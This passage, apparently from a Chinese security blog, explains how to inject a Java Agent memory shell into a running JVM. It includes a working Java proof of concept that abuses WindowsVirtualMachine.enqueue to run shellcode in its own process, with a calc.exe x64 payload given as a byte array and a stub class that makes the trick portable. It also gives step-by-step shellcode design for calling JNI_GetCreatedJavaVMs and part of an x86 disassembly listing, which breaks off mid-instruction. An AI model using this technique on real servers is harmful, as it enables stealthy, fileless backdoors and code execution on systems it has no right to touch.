如何优雅的注入Java Agent内存马

优雅的构造JPLISAgent

在《Java内存攻击技术漫谈》中，使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针，由于ASLR的原因，在搜索过程中，很可能会将非指针数据作为指针来访问，从而触发内存访问异常，OS会直接接管这个异常并结束JVM进程。

如何才能精准的获取JVMTIEnv的指针呢？

获取JVMTIEnv指针

可以利用JNI_GetCreatedJavaVMs函数。游望之在《Linux下内存马进阶植入技术》一文中提到，JavaVM对象中存在一个名为GetEnv的成员函数，如下：

struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus    jint DestroyJavaVM() {
        return functions->DestroyJavaVM(this);
    }
    jint AttachCurrentThread(void **penv, void *args) {
        return functions->AttachCurrentThread(this, penv, args);
    }
    jint DetachCurrentThread() {
        return functions->DetachCurrentThread(this);
    }    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
    jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
        return functions->AttachCurrentThreadAsDaemon(this, penv, args);
    }
#endif
};
 
  
怎么样获得JavaVM对象呢？我相信如果是熟悉Java Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。
 
  
但是，怎么调用JNI_GetCreatedJavaVMs呢？该函数的规矩用法是需要先开发一个Java的dll动态链接库，然后在Java代码中加载这个dll库，然后再调用dll中的方法。当然这不是我们希望的，如果我们愿意去写个dll上传加载，那还不如直接上传个agent.jar来的方便。
 
  
有没有可能不用开发额外的dll文件或者so文件来调用JNI相关的函数呢？有。
 
  
Windows平台
 
  
在《Java内存攻击技术漫谈》中，提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法，当目标进程PID为-1时，即可向自身进程植入并运行shellcode，Poc如下：
 
  
import java.lang.reflect.Method;public class RunShellCode   {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("attach");        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
        for (Method m:cls.getDeclaredMethods())
        {
            if (m.getName().equals("enqueue"))
            {
                long hProcess=-1;
                byte shellcode[] = new byte[]   //pop calc.exe x64
                        {
                                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                        };                String cmd="load";String pipeName="test";
                m.setAccessible(true);
                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});
            }
        }
    }
}
 
  
为了避免目标没有WindowsVirtualMachine，自己写一个同名类：
 
  
package sun.tools.attach;
import java.io.IOException;public class WindowsVirtualMachine {
    static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;
}
 
  
基于这个方法，我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。
 
  
这段shellcode的主要工作流程是：
 
  
 
   
 
1. 先获取到当前进程kernel32.dll的基址；
 
 
   
 
2. 在kernel32.dll的输出表中，获取GetProcessAddress函数的地址；
 
 
   
 
3. 调用GetProcessAddress获取LoadLibraryA函数的地址；
 
 
   
 
4. 调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址；
 
 
   
 
5. 调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址；
 
 
   
 
6. 调用JNI_GetCreatedJavaVMs；
 
 
   
 
7. 还原现场，安全退出线程，优雅地离开，避免shellcode执行完后进程崩溃。
 
 
  
 
  
如下是x86版本的shellcode：
 
  
00830000 | 90                       | nop                                     |
00830001 | 90                       | nop                                     |
00830002 | 90                       | nop                                     |
00830003 | 33C9                     | xor ecx,ecx                             |
00830005 | 64:A1 30000000           | mov eax,dword ptr fs:[30]               |
0083000B | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]            |
0083000E | 8B70 14                  | mov esi,dword ptr ds:[eax+14]           |
00830011 | AD                       | lodsd                                   |
00830012 | 96                       | xchg esi,eax                            |
00830013 | AD                       | lodsd                                   |
00830014 | 8B58 10                  | mov ebx,dword ptr ds:[eax+10]           | ebx:"MZ?"
00830017 | 8B53 3C                  | mov edx,dword ptr ds:[ebx+3C]           | edx:"MZ?"
0083001A | 03D3                     | add edx,ebx                             | edx:"MZ?", ebx:"MZ?"
0083001C | 8B52 78                  | mov edx,dword p